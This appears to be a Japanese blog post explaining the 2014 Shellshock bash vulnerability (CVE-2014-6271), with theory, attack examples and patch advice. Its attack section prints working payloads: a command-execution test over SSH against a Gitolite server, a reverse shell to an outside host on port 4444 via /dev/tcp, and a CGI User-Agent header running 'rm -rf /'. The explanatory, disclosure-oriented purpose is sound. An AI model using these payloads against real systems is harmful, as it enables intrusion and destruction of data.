bashの脆弱性がヤバすぎる件
やっと更新する気になった。
もくじ
- 0. 産業で説明
- 1. 理論編
- 2. 攻撃編
- 3. パッチ
- 4. 結論
0. 産業で説明
bashが アホで 地球がヤバイ
1. 理論編
bashの関数機能は、環境変数の中でも使える仕様になっています。
今回問題となったのは、関数に任意のコマンドを続けて環境変数に入力すると、コマンドが勝手に実行されてしまうということです。この脆弱性にはCVE-2014-6271というIDと、Shell Shock
というニックネームがつけられました。
2. 攻撃編
なんでもいいのでLinuxホストのターミナルでこんなコマンドを打ってみましょう:
$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'
もし出力の中にmanuke
が含まれていたら、そのホストは今回発表された脆弱性に対して危険な状態です。
もうちょっとゾクッと来る例を紹介しましょう。
Gitoliteなど、シェルを提供しないという条件付きでSSHの接続を受け付けるタイプのアプリケーションがありますが、この脆弱性を突くと、シェルを与えていないユーザに好き放題されてしまうかもしれません。
あるGitoliteサーバ (gitolite.example.com) にアカウントを持っている攻撃者が自分のホストから
$ ssh [email protected] '() { :; }; /usr/bin/id'
というコマンドを発射します。そして、
uid=108(git) gid=114(git) groups=114(git)
と返ってくると、攻撃は成功です。
$ ssh [email protected] '() { :; }; bash -i >& /dev/tcp/203.0.113.1/4444 0>&1'
というコマンドを撃てば、203.0.113.1:4444
にリバースシェルが降ってきますね(*1)。
もうひとつヤバい例を挙げましょう。CGIです。
CGIにおけるアタックベクタは、環境変数に格納されるパラメータです。
system()
や類似の関数を用いたCGIスクリプトは、OSコマンド実行のためにbashを呼び出しているかもしれません。
CGIはパラメータを環境変数として格納しています(*2)から、HTTPリクエストヘッダをいじって
User-Agent: () { :; }; rm -rf /
とかやるとゾクゾクするかもしれません。わたしは実証していませんが。
3. パッチ
Ubuntu 12.04.5 LTSでは既にパッケージマネージャによって緊急アップデートが提供されていることを確認しました。その他のディストリビューションでもたぶんパッチが提供されていますが、そうでなければ http://seclists.org/oss-sec/2014/q3/650 こちらに掲載されている、bashのバージョンに適したパッチを使用しましょう。
bashのソースコードとパッチを読んで、どういうコードからこの脆弱性が生まれたか読み解いてみるのも勉強になりますね。
4. 結論
コワイ!
*1: この例はUbuntu 12.04.1 LTSで実証しました。この方法が使えなくてもNetcatやPerlなど、リバースシェルを引っ張る方法はいくらでもあります。
*2: 例: ユーザエージェント→HTTP_USER_AGENT
セキュリティ・ミニキャンプ in 会津 へ行ってきました
夕飯食ったら書く。